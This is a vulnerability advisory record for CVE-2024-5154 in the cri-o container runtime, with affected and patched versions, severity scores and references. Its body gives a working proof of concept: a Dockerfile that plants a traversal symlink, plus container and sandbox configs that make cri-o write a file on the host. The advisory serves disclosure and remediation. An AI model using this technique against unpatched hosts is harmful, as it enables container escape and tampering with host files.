{"id":"CVE-2024-5154","aliases":["GHSA-j9hf-98c3-wrm8","GO-2024-2919"],"title":"malicious container creates symlink \"mtab\" on the host External","summary":"malicious container creates symlink \"mtab\" on the host External","severity":"high","cvss":8.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","vendor":"cri-o","product":"github.com/cri-o/cri-o","ecosystem":"go","affected":["github.com/cri-o/cri-o >= 1.28.6, < 1.28.7","github.com/cri-o/cri-o >= 1.29.4, < 1.29.5","github.com/cri-o/cri-o >= 1.30.0, < 1.30.1"],"patched":["github.com/cri-o/cri-o 1.28.7","github.com/cri-o/cri-o 1.29.5","github.com/cri-o/cri-o 1.30.1"],"published":"2024-06-04","updated":"2026-07-08","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-j9hf-98c3-wrm8","references":[{"url":"https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-5154"},{"url":"https://access.redhat.com/errata/RHSA-2024:10818"},{"url":"https://access.redhat.com/errata/RHSA-2024:3676"},{"url":"https://access.redhat.com/errata/RHSA-2024:3700"},{"url":"https://access.redhat.com/errata/RHSA-2024:4008"},{"url":"https://access.redhat.com/errata/RHSA-2024:4159"},{"url":"https://access.redhat.com/errata/RHSA-2024:4486"},{"url":"https://access.redhat.com/security/cve/CVE-2024-5154"},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2280190"},{"url":"https://github.com/cri-o/cri-o"},{"url":"https://pkg.go.dev/vuln/GO-2024-2919"}],"tags":["osv","go"],"epss":0.01237,"epssPercentile":0.67762,"ingestedAt":"2026-07-09T18:56:36.572Z","slug":"CVE-2024-5154","body":"## Overview\n\n### Impact\nA malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.\n\nA workload built from this Dockerfile:\n```\nFROM docker.io/library/busybox as source\nRUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc\n\nFROM scratch\n\nCOPY --from=source /bin /bin\nCOPY --from=source /lib /lib\nCOPY --from=source /extra .\n\n```\n\nand this container config:\n\n```\n{\n  \"metadata\": {\n      \"name\": \"busybox\"\n  },\n  \"image\":{\n      \"image\": \"localhost/test\"\n  },\n  \"command\": [\n      \"/bin/true\"\n  ],\n  \"linux\": {\n  }\n}\n\n\n```\nand this sandbox config  \n```\n{\n  \"metadata\": {\n    \"name\": \"test-sandbox\",\n    \"namespace\": \"default\",\n    \"attempt\": 1,\n    \"uid\": \"edishd83djaideaduwk28bcsb\"\n  },\n  \"linux\": {\n    \"security_context\": {\n      \"namespace_options\": {\n        \"network\": 2\n      }\n    }\n  }\n}\n\n```\n\nwill create a file on host `/host/mtab`\n\n### Patches\n1.30.1, 1.29.5, 1.28.7\n\n### Workarounds\nUnfortunately not\n\n### References\n_Are there any links users can visit to find out more?_\n\n## Affected packages\n\n- `github.com/cri-o/cri-o >= 1.28.6, < 1.28.7`\n- `github.com/cri-o/cri-o >= 1.29.4, < 1.29.5`\n- `github.com/cri-o/cri-o >= 1.30.0, < 1.30.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/cri-o/cri-o 1.28.7`\n- `github.com/cri-o/cri-o 1.29.5`\n- `github.com/cri-o/cri-o 1.30.1`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":44.6,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}